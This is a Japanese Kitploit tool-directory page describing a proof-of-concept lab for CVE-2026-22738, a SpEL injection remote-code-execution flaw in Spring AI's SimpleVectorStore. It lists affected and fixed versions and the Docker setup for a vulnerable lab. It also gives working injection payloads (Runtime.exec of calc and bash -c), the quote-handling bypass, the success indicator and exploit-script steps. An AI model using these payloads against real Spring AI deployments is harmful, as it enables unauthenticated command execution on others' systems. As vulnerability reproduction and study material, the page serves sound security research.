Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-22738 — SpELインジェクション(エスケープされていないフィルターキー経由)によるSimpleVectorStoreのリモートコード実行 | Kitploit
ツール/GitHubGitHub/rockmelodies/cve-2026-22738
脆弱性分析エクスプロイトウェブアプリケーション悪用学習と教育ペイロード開発リモートアクセストロイの木馬
GitHubrockmelodies/cve-2026-22738

CVE-2026-22738

SpELインジェクション(エスケープされていないフィルターキー経由)によるSimpleVectorStoreのリモートコード実行

リポジトリを見る
21176ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-22738 再現環境

img.png

脆弱性の説明

CVE-2026-22738 は、Spring AI SimpleVectorStore における SpEL (Spring Expression Language) インジェクションの脆弱性であり、認証なしのリモートコード実行 (RCE) を引き起こす可能性があります。

影響を受けるバージョン

Artifact影響を受けるバージョン修正バージョン
org.springframework.ai:spring-ai-core1.0.0 – 1.0.41.0.5
org.springframework.ai:spring-ai-core1.1.0-M1 – 1.1.31.1.4

注意: このプロジェクトでは、脆弱性の再現に spring-ai-core:1.0.0 の正式版を使用しています。

修正コミット: ba9220b22383e430d5f801ce8e4fa01cf9e75f29

脆弱性の原理

SimpleVectorStore.similaritySearch() メソッドは、ユーザーが指定したフィルターキー名をそのまま SpEL テンプレートに渡し、StandardEvaluationContext によって評価します。StandardEvaluationContext は完全な JVM リフレクション API を公開しているため、攻撃者は以下を注入できます:

T(java.lang.Runtime).getRuntime().exec(...)

フィルターキーを追加することで、認証なしの OS コマンド実行を実現します。

脆弱性の再現

以下のペイロードを使用します。URL エンコードを 1 回行う必要があることに注意してください。

"'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['"

%22'%5D%20%2B%20T(java.lang.Runtime).getRuntime().exec('calc')%20%2B%20%23metadata%5B'%22

ペイロードを filterKey パラメータに渡すと、電卓が正常に起動します。 img_1.png

バイパスの詳細

単純なインジェクション方法は直接機能しません。パーサーの 2 つの癖を克服する必要があります:

  1. 単一引用符の除去 — 単一引用符 ' で始まるキーは引用符付き文字列として扱われます。外側の引用符が除去され、ペイロードが破壊されます。

  2. 二重引用符ラッパー — ペイロードを二重引用符 "..." で囲むと、パーサーが外側の二重引用符を除去し、内部の SpEL 式がパーサーに渡されるキー値 #metadata['<KEY>'] として保持されます。

  3. 空のメタデータキー — 注入式の両側で #metadata[''] を使用すると(未定義の変数の代わりに)、unknown variable SpEL エラーを回避しながら、exec() を確実にトリガーできます。

計算される式の形式は以下のとおりです:

#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'

成功の指標

HTTP レスポンスボディには、EL1030E SpEL ランタイムエラーが含まれます:

operator ADD not supported between null and java.lang.ProcessImpl

このエラーは exec() の戻り値に対して発生し、帯域外コールバックなしで OS レベルのコマンド実行が完了したことを確認します。

環境構築

前提条件

  • Docker および Docker Compose
  • Python 3 + requests ライブラリ (pip install requests)

脆弱性環境のビルドと実行

# コンテナをビルドして起動
docker compose up -d --build

# ログを確認
docker compose logs -f

エクスプロイトスクリプトの実行

# 依存関係をインストール
pip install requests

# エクスプロイトを実行(アプリの起動を待機)
python3 exploit.py --wait

# またはターゲットを指定
python3 exploit.py --target http://localhost:8082 --wait

パラメータの説明

フラグデフォルト値説明
--targethttp://localhost:8082脆弱なアプリケーションのベース URL
--waitオフターゲットの準備が整うまでポーリング(docker compose up の後に便利)

注意: Docker Desktop (macOS/Windows) では、コールバックに host.docker.internal を使用し、127.0.0.1 ペイロードを使用します。

エクスプロイトの手順

この概念実証フローは、5 つの連続したステップで構成されています:

  1. ベースライン確認 — エンドポイントに到達可能であり、シードデータが返されることを確認
  2. ブラインド SpEL プローブ — T(java.lang.System) を読み取って java.version のインジェクションポイントを確認
  3. RCE: コンテナ内で touch /tmp/pwned_cve_2026_22738 を実行
  4. RCE: id // uname の出力を hostname として /tmp/rce_proof.txt に書き込み
  5. 検証: docker exec で証明ファイルの内容を出力して検証

プロジェクト構造

├── Dockerfile                    # Docker ビルドファイル
├── docker-compose.yml            # Docker Compose 設定
├── pom.xml                       # Maven プロジェクト設定
├── settings.xml                  # Maven 設定(Spring リポジトリを含む)
├── exploit.py                    # エクスプロイトスクリプト
└── src/main/java/com/example/spelrce/
    ├── SpelRceLabApplication.java    # Spring Boot メインクラス
    ├── VulnController.java           # 脆弱性コントローラー
    ├── VectorStoreConfig.java        # VectorStore 設定
    └── DummyEmbeddingModel.java      # モック Embedding モデル

ローカルテスト(Docker を使用しない場合)

# プロジェクトをコンパイル
mvn clean package -DskipTests

# アプリケーションを実行
java -jar target/spel-rce-lab-1.0.0.jar

# 別のターミナルでエクスプロイトを実行
python3 exploit.py --target http://localhost:8082

参考資料

  • CVE-2026-22738
  • Spring AI 修正コミット
  • 元の PoC プロジェクト
ツールをダウンロード